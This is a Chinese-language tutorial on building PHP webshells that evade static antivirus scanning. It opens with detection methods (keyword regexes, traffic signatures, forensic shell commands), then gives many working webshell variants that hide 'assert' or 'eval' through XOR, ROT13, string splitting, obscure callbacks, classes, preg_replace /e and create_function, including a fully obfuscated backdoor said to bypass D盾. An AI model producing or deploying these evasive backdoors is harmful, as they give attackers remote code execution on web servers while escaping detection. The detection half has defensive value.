静态免杀Webshell(php)

Webshell检测方式

日志检测

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

文件内容检测(静态检测)

静态检测是指对文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件要素等多个因素进行检测,对已知的样本查找准确率高,但缺点是漏报率、误报率高,,而且容易被绕过。
具体的检测方式如下:

Webshell特征检测

使用正则表达式制定相应的规则是很常见的一种静态检测方法,通过对webshell文件进行总结,提取出常见的特征、威胁函数形成正则,再进行扫描整个文件,通过关键词匹配脚本文件找出webshell。
比较常见的如:

1
系统调用的命令执行函数:eval\system\cmd_shell\assert等

文件名检测

有的文件名一看便知道是webshell,也是根据一些常见的webshell文件名进行总结然后再进行过滤。
如:

backdoor.phpwebshell.php等等

文件行为检测(动态检测)

动态检测是通过Webshell运行时使用的系统命令或者网络流量的异常来判断动作的威胁程度,Webshell通常会被加密从而避开静态特征的检测,当Webshell运行时就需要向系统发送系统命令来达到执行命令。通过检测系统调用来监测甚至拦截系统命令被执行。
具体检测方式如下:

流量行为特征检测

webshell带有常见执行命令动作等,它的命令行为方式决定了它的数据流量中的参数具有一些明显的特征。
如:

1
ipconfig/ifconfig/syste/whoami/net stat/eval/database/systeminfo

攻击者在上传完webshell后肯定会执行些命令等,那么便可以去检测系统的变化以及敏感的操作,通过和之前的配置以及文件的变化对比监测系统达到发现webshell的目的
进程分析

利用netstat命令来分析可疑的端口、IP、PID及程序进程

1
netstat -anptu | grep 

有些进程是隐藏起来的,可以通过以下命令来查看隐藏进程

1
2
3
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2

文件分析
通过查看/tmp /init.d /usr/bin /usr/sbin等敏感目录有无可疑的文件,针对可以的文件可使用stat进行创建修改时间、访问时间的详细查看,若修改时间距离事件日期接近,有关联,说明可能被篡改或者其他

1
stat /usr/bin

除此之外,还可以查找新增文件的方式来查找webshell
查找24小时内被修改的PHP文件

1
find ./ -mtime 0 -name "*.php"

查找隐藏文件

1
ls -ar | grep "^\."

系统信息分析

通过查看一些系统信息,来进行分析是否存在webshell

1
2
3
4
5
6
cat /root/.bash_history
查看命令操作痕迹
cat /etc/passwd
查看有无新增的用户或者除root之外uid为0的用户
crontab /etc/cron*
查看是否有后门木马程序启动相关信息

静态免杀

关于eval与assert

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被可变函数调用。可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a()?> 这样是不行的,造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

PHP木马静态免杀基本是通过各种加密或异或等方式来隐藏关键词

将关键词混淆在类中、函数中

字符串变形:

1
2
3
4
5
6
7
8
9
10
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

用 substr_replace() 函数变形assert 达到免杀的效果 

1
2
3
4
<?php
    $a = substr_replace("assexx","rt",4);
    $a($_POST['x']);
 ?>

定义函数绕过
定义一个函数把关键词分割达到bypass效果

1
2
3
<?php
function test($a){ $a($_POST['x']);} test(assert);
?>

反之

1
2
3
4
5
<?php
function test($a){
assert($a);
}
test($_POST[x]);

回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
大多数回调函数已经被加入规则里这里建议使用一些冷门的

1
2
3
4
5
6
7
<?php
    forward_static_call_array(assert,array($_POST[x]));
?>

<?php
forward_static_call_array(assert,array($_POST[x]));
?>

回调函数变形
定义个函数 或者类来调用

定义一个函数

1
2
3
4
5
6
<?php
function test($a,$b){
array_map($a,$b);
}
    test(assert,array($_POST['x']));
?>

定义一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test {
    var $a;
        var $b;
        function __construct($a,$b) {
            $this->a=$a;
            $this->b=$b;
        }
        function test() {
            array_map($this->a,$this->b);
        }
    }
    $p1=new test(assert,array($_POST['x']));
    $p1->test();
?>

这里贴上网上师傅自己写的混淆小马,同样利用了冷门回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function myfunction_key($a,$b){
if ($a===$b){
return 0;
}
return ($a>$b)?1:-1;
}
class rtHjmCdS{
public $fHfoj;
public $fDaGv;
public $HgAjSd;
function __construct(){

$_xlr="J"^"\x2b";
$_Nbv="V"^"\x25";
$_cfh="T"^"\x27";
$_PdK="I"^"\x2c";
$_zJQ="+"^"\x59";
$_RgD="="^"\x49";
$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;

$_fLd="a"^"\x0";
$_wOK="j"^"\x18";
$_tAH="U"^"\x27";
$_HeV="J"^"\x2b";
$_cyo="-"^"\x54";
$_iSW="F"^"\x19";
$_jYS="/"^"\x5a";
$_BFt="h"^"\x1";
$_TRn="p"^"\x1e";
$_izx="k"^"\x1f";
$_gMz="X"^"\x3d";
$_TNu="<"^"\x4e";
$_UiE="v"^"\x5";
$_iHI="q"^"\x14";
$_LIK="m"^"\xe";
$_Yey="Z"^"\x2e";
$_lMr="="^"\x62";
$_WOI="+"^"\x5e";
$_FQy="u"^"\x14";
$_sjC="d"^"\x17";
$_mOr=">"^"\x4d";
$_Txf="*"^"\x45";
$_PmW="O"^"\x2c";
$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;
}

function __destruct(){

$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'
$fdJfd = $this->fDaGv; // 'assert'
//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');
@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');
}
}
$jfnp=new rtHjmCdS();
@$jfnp->fHfoj=$_REQUEST['css'];
?>

例如:使用str_rot13函数,注意assert适用于PHP5

1
2
3
4
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

str_rot13() 函数对字符串执行 ROT13 编码,通过编码来最终获得assert,但是这样是能被查杀出来的,可以将其隐藏在类或函数中

1
2
3
4
5
6
7
<?php
function test($a){
$b=str_rot13('nffreg');
$b($a);
}
test($_REQUEST['x']);
?>

但是这样还是绕不过D盾,那就在函数的外面再套上类来试试

1
2
3
4
5
6
7
8
9
10
11
<?php
class One{
function test($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->test($_REQUEST['x']);
?>

利用explode函数来分割字符串,再由class封装类来进行绕过D盾
拆解合并

1
2
3
4
5
<?php
$ch = explode(".","hello.ass.world.er.t");
$c = $ch[1].$ch[3].$ch[4]; //assert
$c($_POST['x']);
?>

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字

1
随机异或产生

"Y"^"\x38"的结果就是a,同样的生成assert即可

1
2
3
4
5
6
7
8
$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异
特殊字符干扰

特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符

1
2
3
4
5
<?php
    $a = $_REQUEST['a'];
    $b = null;
    eval($b.$a);
?>

不过已经不能免杀了,利用适当的变形即可免杀 如

1
2
3
4
5
<?php
    $a = $_POST['a'];
    $b = "\n";
    eval($b.=$a);
?>

其他方法如”\r\n\t”,函数返回,类,等等
利用数组

1
2
3
4
<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['a'])];
?>

利用函数

1
2
3
4
5
6
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/hello/e",func(),"hello");
?>

加上/e可以当作PHP代码进行解析,测试在5.6版本下可以使用
除此之外,例如create_function函数,用来创建匿名函数

1
2
3
4
<?php 
$a = create_function('',$_POST['a']);
$a();
?>

字符特征马
对于无特征马这里我的意思是无字符特征

利用异或,编码等方式 例如p神博客的

1
2
3
4
5
6
<?php
    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
    $___=$$__;
    $_($___[_]); // assert($_POST[_]);

到这里静态免杀基本就完了,总结一下:

  • 使用冷门函数
  • 尽量避免使用敏感关键字,可以用各种方式生成
  • 将关键代码混淆在类、函数里